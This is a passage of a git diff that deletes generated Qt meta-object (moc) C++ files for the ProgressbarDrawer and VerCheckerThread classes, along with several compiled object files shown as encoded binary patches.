zmOj?peOnl$n5=|$EWp(Xp{4u26!p=!bTPpXnHD6a*rvNIFo<p1<rN-Qf#|1Ee4HmH zxTv`e_7l2xX?3OUuip}G?%A+^Cj#G1L*1#(o7$Ip2}gVj&O|C^mT)Bpn&5Yd@O@f+ zs`r@J2=A6VG25}zw<F?wHzLlDC5|_WfGp;}jEM6V;k!DwHuu>vwolOJ5!V0x5%}}K z=`v|F!u~wrn76C!kY!$ru>V>F{vD2Ull?vBzmBkfNO-q)AE_N=JC$0ub|0xa`8eTW z^Dq#BzYu}XMBvvV@E=9sZ%5z{Bk&%&Rl@rJVgx=Dfs46v-d!ja>Cot>@(T;XJ()dy zVleBv)!LMM%GJ)scK^%13%gR@oh#BI)0>^m<c^*>J@u7h-XF8=GcOPtwEBjiEah^G z!o4u=XZu~ZRK^*Zn%UkX6bKP0TBS698K+@aedmEbt@MVbbxc1@XL0J<s5%+jX~YY1 zL&bwQJu)($nQ$itPh>N$bf8`aR>PFkK3Z6w_vT9ZR>y<5&9Fy;@oIWRX{yt$&sBkA z+a&aRdB3zsU$a`Xlp7s)c~+WH<TnTU3eY;{BgL7CnM%<su(D-rxA$-uUnSfNg;_b% zO|$=ct;WXv{!+Q>PI=X0-zi$KAx>!G!xDE3)v`O|%@<~i!gcdYo=d}BlFQuci_OcK z_o{v-H<}l;?D;t=wbn50O*Z;8x0F;=k0`X}tZCsM?V){{Y5NX?<ruTm7}AnARa&%r zNv@XM{H#~4y8iM)(JjqSmoqd5`g+4_r4Q(Eagn~tWO7H&WFQ2ppz>^6>PAYlezB6t zjk}>nX}>f_>L3c0)kL$|7Au{fDa{sIW<$+po0*-jRsHfD+l6)NP`*4rkNddnm!_99 zXGgh|sq|;cg|=Wv3Z?1?Tk{Qls8XBflI3Z#LvE_(&Q04m{c9n_d-zaH^l9GrO<X-! zfa6_T*;ga%@%{yZJ)WZ1(I9#wVDilaXAc$UuNt1#aP@wUIL~OfdNR{CD{vH0ah@X? z1l*!a;W$TwO#G(-EOES>DtmeiNWyb%A6*LH5x~+ObEWVod-Yy|yt=)569kTLL}na} z7dnOO<L%LK6(9XPpyBGx5ph1N;oT&I%=oYYA?LGnsl32I9dzmcJ4lf6L&VjyQJsHa zZ!05B54=yqb$fjOQ>5a-o{!p6rQRoitF?y0!VeMf&q*ox!CZlWKP{!;2Q>x)j_;m| z`dI)j|9Ru~fQI9nnj(h<*dJ9O@tlUMn1Ie}_%W8jCRs+D<1B;Cunhe3EQ2ku4Ezf$ z>kPR3CyPOSo>5DajO+8PY78oUo^jtPvRFX<;8LX4RN)pY)cgR~PZck*9=Lv5UD9yq Y)H=Pc;d&ij*KpWh<@O&8{3f^m1Ny1JR{#J2 diff --git a/moc_progressbardrawer.cpp b/moc_progressbardrawer.cpp deleted file mode 100644 index 0615fc0..0000000 --- a/moc_progressbardrawer.cpp +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'progressbardrawer.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "progressbardrawer.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'progressbardrawer.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_ProgressbarDrawer_t { - QByteArrayData data[3]; - char stringdata[23]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_ProgressbarDrawer_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_ProgressbarDrawer_t qt_meta_stringdata_ProgressbarDrawer = { - { -QT_MOC_LITERAL(0, 0, 17), -QT_MOC_LITERAL(1, 18, 3), -QT_MOC_LITERAL(2, 22, 0) - }, - "ProgressbarDrawer\0upd\0" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_ProgressbarDrawer[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 1, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 1, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 0, 19, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, - - 0 // eod -}; - -void ProgressbarDrawer::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - ProgressbarDrawer *_t = static_cast<ProgressbarDrawer *>(_o); - switch (_id) { - case 0: _t->upd(); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (ProgressbarDrawer::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&ProgressbarDrawer::upd)) { - *result = 0; - } - } - } - Q_UNUSED(_a); -} - -const QMetaObject ProgressbarDrawer::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_ProgressbarDrawer.data, - qt_meta_data_ProgressbarDrawer, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *ProgressbarDrawer::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *ProgressbarDrawer::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_ProgressbarDrawer.stringdata)) - return static_cast<void*>(const_cast< ProgressbarDrawer*>(this)); - return QThread::qt_metacast(_clname); -} - -int ProgressbarDrawer::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 1) - qt_static_metacall(this, _c, _id, _a); - _id -= 1; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 1) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 1; - } - return _id; -} - -// SIGNAL 0 -void ProgressbarDrawer::upd() -{ - QMetaObject::activate(this, &staticMetaObject, 0, 0); -} -QT_END_MOC_NAMESPACE diff --git a/moc_progressbardrawer.o b/moc_progressbardrawer.o deleted file mode 100644 index b4a81a4219c93336278e9aeb392d68b29a341208..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7896 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 diff --git a/moc_vercheckerthread.cpp b/moc_vercheckerthread.cpp deleted file mode 100644 index b94f303..0000000 --- a/moc_vercheckerthread.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'vercheckerthread.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "vercheckerthread.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'vercheckerthread.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_VerCheckerThread_t { - QByteArrayData data[1]; - char stringdata[17]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_VerCheckerThread_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_VerCheckerThread_t qt_meta_stringdata_VerCheckerThread = { - { -QT_MOC_LITERAL(0, 0, 16) - }, - "VerCheckerThread" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_VerCheckerThread[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 0, 0, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 0, // signalCount - - 0 // eod -}; - -void VerCheckerThread::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - Q_UNUSED(_o); - Q_UNUSED(_id); - Q_UNUSED(_c); - Q_UNUSED(_a); -} - -const QMetaObject VerCheckerThread::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_VerCheckerThread.data, - qt_meta_data_VerCheckerThread, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *VerCheckerThread::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *VerCheckerThread::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_VerCheckerThread.stringdata)) - return static_cast<void*>(const_cast< VerCheckerThread*>(this)); - return QThread::qt_metacast(_clname); -} - -int VerCheckerThread::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - return _id; -} -QT_END_MOC_NAMESPACE diff --git a/moc_vercheckerthread.o b/moc_vercheckerthread.o deleted file mode 100644 index 23f0d959607a8302cb0b528087d86d5709af354d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7280 zcmds6U2Ggz6~60fiD}Aa8-8TyPsXKyQ<`PRc5Ek5w64AJL|L3o?1T_gCga&jcd2*R z-5pzYd5Do4Dk}s<;(@-w0}{Lx@q)w~fmEo7m#R-lh@S@@!jIHK5vl~JoOACvyLa#2 zX$tBSN1DCoe&_ezd*;r}-7BT?iJ?qJFlEGNMX$%G5Et(5@kPlN#i)2l>fQr=w7Hks z_fz`;YCi-m(;K%gBjpbqdQL+AwJXE^?v*i--2F!c{OdB%Eta2K^7r2GcmFc%U;RgN z+`oQQD((H--}~KdWcPmN@7=!o>c&2Q_od;LCvRcn@BP-_du`=O>F~gz9n|w~{`oft z4i$yO5Fqle$$0+m&78lt&y+$wN)B24lXPTQ2){!4K8~I+LnXMT`qw`wVagYh8gwl) z*e8Gg_n)_ba+>)F@#o|ATrG~Cj@!$%b{tk&#hXf#u*Uy+yD&F*+#Oq3Ja^cg%+KT} z-0^}pSvcl-?%3J5>iS`#@FUZQaVD^akuuMo6`8GE=Kg#44c~xb$2osMN`x4q7O?{H zybg%X6NdK%63Q+}P6!uUKbzYfTFMRsi}4b~fb#frDx3QfNG5^(I`)Ce_%oZ$eQjtq zJF@F6WZmjL*%1I{v%|Cd=Ye04e0jg}_Y&#@X}2&q?`$`ca2495t=bxM?RYKBC-GJy z^3^a2MSiu@5&15f4=yeameKrpY4grXg?^<@61J0#b+W5B>q!u{+u=3<Efrd|5OR5G zFecfdCZ-2QsCe?7DxQBQiXtDi8jZLKlhJG?aULq?2&5f7O~K<@aJd~eVv&EU-GZUK zOLP`$>^_UHB4Jo7NQdCUnz;)*K-{L;`$|pd_K#?Gce1Zo>_7Ei*mK?M@$sJFxZI}Y zf5{Sm)MD=f22&{B1D8&`Kv#7T_?*$dANrh&E^_I{zCj?)KgQtkkXU>iFpTfOrPG^w zN8`;{kAVz*rrD!!olN^F5X$lM=ETZm$a@jP=J-7jm_AYWhcv(f8RGcy`EQPY1u$ED zm*Tr1*U5~39)z~|zo+;<8Do5W?=a)<04C!@t5cEU%e_?-nDM^?GF$wy4=bY^WQ*~$ zaGCMHNw~Rw>lB~$$xYXu``-Y@7XQZ-pX&_cWA5ya@oxi$q0Hsqq4?_{)5+C4z<&=e zX>T}qo$T*aKffe<$FR>)pY!Cf=KTL01h(<NLgV+z5XX=EpE>@&1BR)Z@rx9H3uHRE zdI$K|;IhRZ`G``i&^%y#e7`m0KL~OeU#WM0Z&Lh17g3CB^hdzh7QcoY6VN63tM-4K zOEdnX6yJ>VI>kRi_S|5uNZd}4y+V7x51Iu{BDP~qpX@0d!@?!|Uv&}1aQ+O>fxT_~ zFVpzHPl`DI_#VdgTvzz)w59qcfnP8ZHoB_zDTdy>@IKZ14!umd(8ZL@`0oYG7Jr6r zoZH6W%=ln#CDgl1{PiuH&>48zDJ`d)UB8thFv~%5<c@B`ai<+5NA7_AINl~h8qWLe z2H+Vju0C#O;3+J`b5j4HC_;;**RvxIDp31<5%`RTe@2rz!rZl#(CNPAYs$bn^3LwZ zu;<7(cpFZ|X^5QemqJhQie&ZC_hgQsO{ND)>Hr{Q_rTmsfJfT7j6qQGDdi>Hk8I z=%3*C;85=^itpzsNc|wxTaIk`zFPsDF%rq<nH2m5!0*%Mlh^mBfIqC&A+Ox80Uy=Y zWs8FREye#3By98ZfW&+C?2?};z-{?Io`RoC!5fIfWzw@L`p*N7^U32cli?3i^na9s zze;{~$ezFXvalK1##ID-RJ$*Do<A>fe6lLy^=+p3`Bn=4-4y&MDfk~!@cmG-w*1Fa z@Z}WzN(%mB3jT`}Tr^ryuo<@_b;y#)LzaBBzAl1=^64jL%R$iDSPf1F){kXx=9wgb zugIhx1&tWKCd0M0Qf2zg>D4dCQL^ZHXFdn0>P^m}uwJQbis0f>Ql1HddJ8|5p<A9f z3XaeNcx%_2PvNI<FmS>HisQ#vF-^txO@9<V*WcX%ES?(t==KUY0ySC;NE3Ma#EGTS za<Dx6M7b1T8mC}hl-4{9)0?htH^W9f>P=N@wo_`ZHBI}l<RJzeA=pj^Ac5&K>M)Je zY%}Ji<uH#&AHl`ynq0@lrDUew>IAD{C!RbBi#bPzCO$9mpxS8#wXj)Ti$xGbTVW8w z`HU<9OA?+(YaNB1q*OT-2`G-J0j1d+!k~_QoqMjJ2;ZhKyK|#CetQe+flkWt4KB%| zSHPifg{$>VZyfkeJ&4xAPA5pV*W;kxyxc0m2$xUtD(S;L8gIf8PN_0=ri6?Vsao<p zDLYYLOX7B^vJ_aA3Q4^IV&w(uaJk#<^Hqpy^|fkGZLZtxQ}d#YPSR?So-L_~sMT!Z zUeHSFm$yr2vG%ci;i|Q&ea@z;_0Ao&2k*Lx_C`|`D^HkbxlKMw`#(HZ<XO|d@W2^p zR>Scrx=ek3Zo#%GJ_#4=^I0k44{3M<cqGIhgNyaQiXaf;`0mI!JRT(Bo9ifCj2}?2 z)PGpR)Aac{hyHbaJ<pF>{NOyG4adc?BO!)oK8&+}%<~f(&Tn?;XH3I!EJ&vRM-?pn z9|oTN6D;2dZT}%;KmpHi_?gMyCy3*D9TUqDA7>C+UB95=x<1bpiuwHj{cz5RyZ8fy zxc<$FV@E=qYYh7w3-Lz~Aex~T@d*Z@EfSCTB=Okz#3L^MGopS)!|{xa=>jpRKg}St zmxxE4b3mx3;m3%_W?jRNYdEv$=hNJQR-b3Ar6S4ndFC2Jkv`A**M>`WSU-3%@tiQu metCWn=XXT3`63x2-h1m8VoSsIdb^?FXj7p6%Lcwf{r>>hOLXD@ diff --git a/msgcheckerthread.o b/msgcheckerthread.o deleted file mode 100644 index 869329808710b1c14b19385773d5d586214555ba..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 12304 zcmb_h4|H4Ad4IB^SWSqe1OpyP7Xb=5Kolu|?F5QtTk%t(1SfWu4hqkT{QPIwl8~Na zo2Df>l0)7R0<WW`l$|p;V?FEOtX)UX0hR^R{39D@3+YO`p0kszqg{k)Fzq3v>4Nrs z_uVUhde-Z|?H)h9cYpW$f4}eE`<@>SN4M13Y?5d;=`+%7PoR?2yJYscl|8mfpO$W9 zv`*+RfD8Gq;r9l(W82*==iYCW3-tx3tk3fmciM7SZ2RhGa+1yc<?qS`2NKEpPi6hT z<U;cW)+^lQE7VU+WtYB&l8@HGk1>!t-gy55$K1<1Bq?{ftbH((TMbgC@>AJ&Wnh~A zS6M$H>*ow&{R4LIXU*?ko=4eIXisoTF0RMNSH0N(qtNb94_JBd{YFqE7p}u0xp>6q z0e7Osm-+oA-xR}N@|}nKFXR`a`p1Tz!lwZM4kk0IzbES-$i?<XS?}-#7{%*O96y!! z%^)E(e7<ZvvS$%+Mjb8oI^~HeSwAJ~21`_b!G|OoMDQZl`4lq)M^KPleB^@Ma?U-` zJ0CkezCg5S@P>n@gQt&n0S(w2E%y1kxBxIt&W&A=-1%1KCyYe(|276ez#VdNzps@$ zW!QytWQ0^M^uSnQzb_EcFUb1avi^x|-+Do|k6thY=pRJ%lUxxPBkN~md)tLb%Sm_s zF3=WP`A#VJN!guW%~Wf?R3(_8`c72cTdn#MRo(l0s(zTN?t{)Na7p3d&+=35iNC`z z7CO-9F(a1$4Cx?363+ijTguc@yAF)aliU+u#o!iRViOT9yufC8d&^JU`L|(UGE$i5 ztB8z($Vl$E6Na-tl?z80tvpfI96VS!D?)$oJh15Cam>p59|(Oe^g!srka8?IWf+{l zw_Glx!4N5K@ZTZ>#4g2zmHbGMo0@kN?&XMnLR$bi#fJ2gQ8AN{tB_^q!BTF)5!PYl zx6D+2rRzZuaF({h9qNzOp*t@@uTqGU?unUC&@e;J^br{naT3I{eD3f$4K*;$tFXon z;D}K<T)*anEEj3^ltJ+OWSX{#XPFj+fc01EUoPaiRvxuC>|g?DFf1#51FXlY{}xzA zv(k^|J_jH*H>#7we99R94aOQXfE6@b7N?*rVD2I-e-O%*u`HkiMx&{QMsDhEFjd%8 zS_@&9b9aM9Xwx2#w)GW2$}{da>L#Y#Pk#9-4D;opbQn97_Kqsr>nZK0pi}6&T-;jL z<;(h+>2K2xlsc652{u>Z;MA*FK(FBsE2Yru_!v5hzv29pwgO{@frO>7QSb3J=usYK z$lFE;K|=w6{AtYx1Pzs$(Jun66VsaM0on$jb>`1%*P%enCZIRw3kIE_X|YiW`o#)Y zIA4Z@uT(=gf5{+fg`iZ3M0rOcU2z?a7GCD%`>{KJ7=TD&J}<BAo=EN_6z<2_X^X;* z!U8F57WD<Of-nV7*N#!?2Usd}UY3!0dGrY}f7AJ>UY?$$6LH>{h;XpXV#H&Ps)A>O zQ>8D0V4)iUpbG~tl?Du$?E|Gwa{}!l%H2;M{1r(c4LTsN^t~#B@AYVb*Lcz`o;V9U zzXTpAo-+_SW>+Z*2(|mK3R^E1A1>?Z%lbb}zg6YCze@dDs{U5isbpR$3T9BL|3U@1 z^AoUSRta17Kg1U|>lk&|KgrCjX8)p@{V-+!JalMiY0{VGvr0lk4VX+$h?R(`Vjz!~ zRmz;@eIwLJLkH$}C7B?{mq7tELa{V-V8WOF!mz;*S=tA^C=>=p9TLUx2v*qDe5n%2 z7=>+`EUi;Ojtk$f+r*7ZuU@TAxbp>Ijja5BD0j6SazAwfJz&y|ohZ9iSW#**^2RU; zifjgTlKsxudPK^wysWrg`Z|W4R>#d`QXhS`QXPL9`bS)GN?AxnniW4Hi&e!$QvJA? zV9aXI3<Miz2bQ8nV=mdG7=_0CnL90hqr9fSj-|4w+M1GPof>S32%cpLQaW~}%8SzH zfp2nl|LT^F^QJh@zAioXXLe@Kfz6WkA$yvB54_?HPu`x1v)LPFH*?sEOE_wrqpy^; zg)_M(JdMK&Tlb4&z%hNcT!xUskJIl+Nc-WCUVb)f`;&y@piBC5o8u=9(v;0{$YVQL z=XlK}y<F#bZ;^Da&hh3V>6>=P36Jz6yW?tuq|e9EXXZOzbxY6GJ1$-$ovwGhzCe1@ z={UVuy5w~H*dvv$0pXJ#$Iq8YmliwDH%KomalC)6I1%G{9Z%>H{Udfr&%NI)w?G#6 z_&o0XIG8B6yzS1X@Bya76V;DJbjX=0o80my9>AO2`NzRix!7sLZlhcb!LEqK1>|r< zKPMOEvis;DRP;$1D$grJk$F1YM{nXO>w$dHPnCChftK%ka>3JqXJJHJn@?z8kaHl* zw!P(}>^J%+<=pY+sD6Q**!o$VBe_#Ra#h>R3=O%Dt_F#q$opF>${sOfU#7ArqXo^^ z2)eaHQK;pn>E-U_2XJzuo8d^KJq(+c%~1W3JKqZ_37Y+&IqW`q8`B&u;L%LK7%F!W z9|1LdL>Qg?mf>XSIHWl92W^q{Dq9R30_(*=VkO!$sA;K9t5+w~Og!fATRZAcrUzD! z#D<3VCdcl1NFBd>MMnDUsvS7IZ|x>;Pdckgixw<eAgv3m^X^D$-Yv;&qEA{MSmSMr z^?5sEnmQUAhtUA*?@}Mmsu_*3ghx`^IO@bE7ugXBUPAfNvtaa#{5_AowSm1(RuTqJ z)o*8e`zCKw=Z@Vgz3cqV{<YpUf#AA8OEBnd+NJh+<(OvRt2VAgzGa-*_DENBmt-6B z)IW>J(xunbJ0~Ge@x9o`X*R+gj(V)!3BPyo=Yw!(c*x~BR2OnJ=IkA=K;6~_u0}vY zF6WkoOb(LU9${K+LjELR!iM9ZPik{{o~&zgH9lc)b9syN!mg&r9U)iX(EO0AIalA| zO4a@40#`H054oCv0w{r_&E@P|SSQyUXkS>jzve*a!icLGM4JRjQWu!fh_*oc4tywJ zzA?MHDt5J1+tukhGtd5&I?yv$U}z!8!8p$2GH*q}5Sbio+=wsZxF7LtF3*E5rzH6^ z<0D#ZFWj}XaUT><X>~Z}*VHjh^7qBGnB?D^$w>YR>R0aDv2ka&mL5tBbgT*Qll%km zxT225)s&`ysA2UtQ&fxV);46+SUNr!+0mjX1Bt8>9~%p9RFp(AJrWyMhBP%D(~{{( z*S2_fCLHcwr!<d@E0E){;Yd6j?oqlo;$Kfd>26kff(nRFqUq>d(BE9$4N~P9Etb}@ zDGm)KhBPIXPD3Rb{xTsQd!W<r2g}CBl$4szBondWA#GgQ7m)n%<j9DcfKVlpn(BwT zSOp^E4{?5VQ0Y&{MpTGVItgn2&kfi1#Wkd~atyyWVOt8<AHXH*N!+dYqsRmeGJ`eb zZ-PtkiMthlkHJ>Ozq|&&7cfjm_%Kt|dU<ajCNpUs@{EsYm#~Enwfc<S*r$xUpcDQy za$>9v)DN$YRqcl+y<*U;3)dx-X~oY=O|Z|gbpwnr|DiT%JJ0pw8c3Vj{~!#SZ9@82 zRvBEvPxK${H2aV9jQZ<L`fuQgW0r09Cn5OZPTMlhpQj)^o8?UaR?GkAI6qsXi43#< z2WrSf@-y83N$fyF|52pb|8sz${xxvXHs~^XJ_^FK;1_YY2v{xt$2tFY6TjdS_d0mM zXLJ6a=lp&XzuEt*Fm8@1vh;FB>Ob-d`$b+{2g*^EIe$HFlrl?i^yc<Gz+X%M4A(F8 zVEpkDxmo|M+<&_%{~CWw{Wn?Ycdj-pruuR3GwYYR{(wPV`So)BJdG+ikh3Q4J2`)a zfIn>K{AOJ63A~^4o7|VWIR95o48nfFAA|8)@%M87XE-6oA7df-MO<+2FwZ@*T)<?3 zHfqvu>ayH5+m3wC;bsGEj3+jpx&9C?vwmEjYw2(F!T_|}OwO708&q?Dk#3&!VR`Nd z>N5%DMD{sVXbjk;`dVT@j_{^>*v|gjQ;lKIF4f*t>}+MKMURy^x7nrI$z_-Lq!E_u z;kl0Byey?Z2HZycqH(peN+m-0qrGyft{$^XH&g=^dXZ(b!-MQ`u3sYzpX*ne<7UrB zInG{F*t7AopX0X>3?C12e60yT#PN0$USNG1m01G2gi)Q_?5rAU;k7CR^I>l0KMU+P zle`l9|BHa%REH~=(M0B*g049>Nbw&QI2J@L`UY^dmR=v=OGv#Kag?Ob0$xkb=PdBY 